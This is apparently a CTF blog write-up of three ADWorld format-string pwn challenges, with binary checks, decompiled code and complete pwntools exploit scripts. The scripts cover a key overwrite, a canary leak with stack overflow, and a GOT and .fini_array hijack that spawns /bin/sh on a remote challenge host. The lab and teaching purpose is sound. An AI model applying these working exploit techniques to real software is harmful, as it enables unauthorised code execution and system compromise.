ADWorld PWN Challenge Area Write-ups (Fmtstr)
TyeYeah Lv4

This part is for format string challenges.

realtime data monitor

Attachment: realtime-data-monitor
Description: When Xiao A was scanning a certain pharmaceutical factory, he found a large real-time database system. Xiao A realizes that the real-time database system collects and stores data of thousands of nodes related to industrial processes. As long as you log in, you can get valuable data. In the process of trying to log in to the real-time database system, Xiao A was unable to find a way to modify the login system key. Although she has now collected the value of the key that can log in to the system, she can only find other ways to log in.

Information

Check:

1
2
3
4
5
6
7
8
9
10
$ file realtime-data-monitor
realtime-data-monitor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5035740866e7d9977e82b84049f48c683c06fbb9, not stripped
$ checksec realtime-data-monitor
[*] '/mnt/c/Users/David/Desktop/realtime-data-monitor'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

Pseudocode:
main:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
locker();
return 0;
}

locker:

1
2
3
4
5
6
7
8
9
10
11
12
13
int locker()
{
int result; // eax
char s; // [esp+0h] [ebp-208h]

fgets(&s, 512, stdin);
imagemagic(&s);
if ( key == 0x2223322 )
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}

imagemagic:

1
2
3
4
int __cdecl imagemagic(char *format)
{
return printf(format);
}

Analysis

A format string vulnerability in imagemagic() has to be used to overwrite key as 0x2223322, and this happens to appear as the last example in Format String Vulnerability Intro (to reach Path 3).

There I provided two payloads:

  1. the format built on my own – sort numbers from smallest to largest.
  2. use functions that other people provided – use integer overflow.

Clearly my own payload can solve this kind of challenge, here we have to write 0x02, 0x22, 0x33 and 0x22 to 0x0804A048, 0x0804A049, 0x0804A04a and 0x0804A04b, and the basic techniques I have already told before, however we have to get used to using corresponding module to be more effective (just want to slack off).

First we have to determine the parameter order of our input:

1
2
3
4
$ ./realtime-data-monitor
aaaaaaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
aaaaaaaa,0xf7f862c0,0xfff9ce24,(nil),0xf7f5c000,0xf7f5c000,0xfff9cdd8,0x80484e7,0xfff9cbd0,0x200,0xf7f5c580,0xf7f7556d,0x61616161,0x61616161,0x2c70252c,0x252c7025,0x70252c70
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻

We can see our input aaaaaaaa locates at the 12th parameter of format string (13th parameter of printf function).

Then use payload to write exploit.

Exploit

It uses some codes/functions in the last example of Format String Vulnerability Intro.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context(os='linux', arch='i386', log_level='debug')
sh = process('./realtime-data-monitor')
sh = remote('220.249.52.133',48848)
shelf = ELF('./realtime-data-monitor')
key_addr = 0x0804A048

#sh.sendline('aaaaaaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p') # 12th
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i*8) & 0xff, offset + i)
prev = (target>> i*8) & 0xff
return payload

payload = fmt_str(12,4,key_addr,0x02223322)
sh.sendline(payload)
#print sh.recv() # recvuntil, recvline, ...
sh.interactive()

Using fmtstr_payload of pwntools has the same result.

1
payload = fmtstr_payload(12,{key_addr:0x02223322})

Mary Morton

Attachment: mary_morton
Description: A very simple warm-up pwn.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file mary_morton
mary_morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
$ checksec mary_morton
[*] '/root/mary_morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}

In the front of main, sub_4009FF is for setting alarm, sub_4009DA is for printing context.

sub_4008EB:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}

sub_400960:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}

sub_4008DA (not in the main logic):

1
2
3
4
int sub_4008DA()
{
return system("/bin/cat ./flag");
}

Analysis

If you run this, you will see the interface and know what the vulnerabilities are:

1
2
3
4
5
6
7
$ ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle

In subfunction 1 (sub_400960), read(0, &buf, 0x100uLL); is the vulnerability, which reads too much and cause stack overflow. The tricky part is to overcome Canary mechanism (aims to prevent stack overflow), and we have seen it in ADworld stack2 write-up.
But we still have chance, if we can remain the value of canary unchangable, program is also able to run normally.

In subfunction 2 (sub_400960), printf(&buf, &buf); is the format string vulnerability, we can use it to leak Canary content, then rewrite it when performing stack overflow.

First of all, for format string vulnerability part, we have to indentify the order of Canary (input aaaaaaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p):

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
aaaaaaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
aaaaaaaa,0x7fff60e31170,0x7f,0x7fd6995815ce,0x1999999999999999,(nil),0x6161616161616161,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0xa70252c70252c
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle

From the output we can see our input (buf) is the 6th parameter on the stack, while buf is at the [rbp-90h] and v2 (that is Canary) is at the [rbp-8h], so it needs (0x90-0x8)/0x8 = 0x11 = 17 parameters more to get to v2 (Canary). So Canary is the 17 + 6 = 23rd parameter. Pyaload should be %23$p.

Then we do stack overflow, see exploit for more detailed action.

Exploit

My former exploits always use recv() to get output and do interaction. While using recvuntil() to replace recv() is a better way and will make exploit script common to both local and remote.

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./mary_morton')
sh = remote('220.249.52.133',47717)
cat_flag_addr = 0x4008DA
print sh.recvuntil('Exit the battle \n')
sh.sendline('2')
sh.sendline('%23$p')
canary = int(sh.recv(18),16)
print canary
sh.sendline('1')
payload = 'a' * 0x88 + p64(canary) + p64(0) + p64(cat_flag_addr)
sh.sendline(payload)
sh.interactive()

greeting-150

Attachment: greeting-150
Description: None

It’s a format string vulnerability and is related to GOT hijacking, and needs a little tip.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file greeting-150
greeting-150: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped
$ checksec greeting-150
[*] '/mnt/c/Users/David/Desktop/greeting-150'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
char v5; // [esp+5Ch] [ebp-44h]
unsigned int v6; // [esp+9Ch] [ebp-4h]

v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(&v5, 64) )
return puts("Don't ignore me ;( ");
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);
}

getnline:

1
2
3
4
5
6
7
8
9
10
size_t __cdecl getnline(char *s, int n)
{
char *v3; // [esp+1Ch] [ebp-Ch]

fgets(s, n, stdin);
v3 = strchr(s, 10);
if ( v3 )
*v3 = 0;
return strlen(s);
}

Analysis

It has a classic format string vulnerability, but cannot be exploited by just writting some number to some place.

Since it has Canary and enable the NX, we have to use payload to get shell, then we think about hijacking GOT item. Obviously we have to hijack some item as system_plt, and the /bin/sh still needs to input.

Only one time of input is not enough, we have to control the program flow for more input chances. But we cannot waste this one chance by just leaking ebp or something, so we do not know base address of the stack, right? We cannot overwrite ret addr as main to drop into main loop, but there is another choice: .fini_array.

Before main function, the codes in .init and all func pointers in .init_arrary will be called, and after main the codes in .fini and all func pointers in .fini_arrary will be called. Overwriting 1st item in .fini_array as start will achieve the main loop.
The whole process of a program (visit linuxProgramStartup for details):
fmt1.png

So the first time we input, we hijack .fini; when we back to main we hijack strlen in GOT as system, so that when we input /bin/sh into this program, it happens to be the first parameter of strlen (written as system); then we get shell.


Sadly, after trying in this way I found that I can only go back to start once. So we have to overwrite .fini_array and strlen in GOT in one time.

Note: Using gdb or gef to debug it is fine, while using pwngdb and peda will meet an error:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> b main
Breakpoint 1 at 0x80485f0
pwndbg> r
Starting program: /root/greeting-150
[Attaching after process 441 vfork to child process 445]
[New inferior 2 (process 445)]
[Detaching vfork parent process 441 after child exec]
[Inferior 1 (process 441) detached]
process 445 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Hello, I'm nao!
[Inferior 2 (process 445) exited normally]
Please tell me your name... pwndbg>

That is because the program forked a child process and it will mess up pwngdb and peda. The way to solve it:

1
2
3
4
5
6
7
8
9
10
pwndbg> set follow-fork-mode parent
pwndbg> b main
Breakpoint 1 at 0x80485f0
pwndbg> r
Starting program: /root/greeting-150
[Detaching after vfork from child process 436]
Hello, I'm nao!

Breakpoint 1, 0x080485f0 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

Exploit

The limits for payload are:

  1. The length must be less than 64
  2. Can only return to start once (cant figure it out)

With the limit 1, our former gadgets like fmt_str and fmtstr_payload of pwntools cannot meet the needs, so we have to write a more compact payload (with hn to write every double bytes, instead of hnn to write every byte).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(os='linux', arch='i386')
sh = process('greeting-150')
sh = remote('220.249.52.133',39474)
elf = ELF('greeting-150')

strlen_got = elf.got['strlen'] # 0x8049a54
system_plt = elf.plt['system'] # 0x8048490
main_addr = elf.sym['main'] # 0x80485ed
start_addr = elf.sym['_start'] # 0x80484f0
init_addr = elf.sym['_init'] # 0x8048404
fini_addr = elf.sym['_fini'] # 0x8048780
init_array = elf.sym['__init_array_start'] # 0x804992c
fini_array = elf.sym['__init_array_end'] # 0x8049934

print sh.recv() # "Hello, I'm nao!\nPlease tell me your name... "

payload = 'aa'+p32(fini_array+2)+p32(strlen_got+2)+p32(strlen_got)+p32(fini_array)
payload += '%2016c%12$hn%13$hn%31884c%14$hn%96c%15$hn'
print len(payload)
sh.sendline(payload)
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k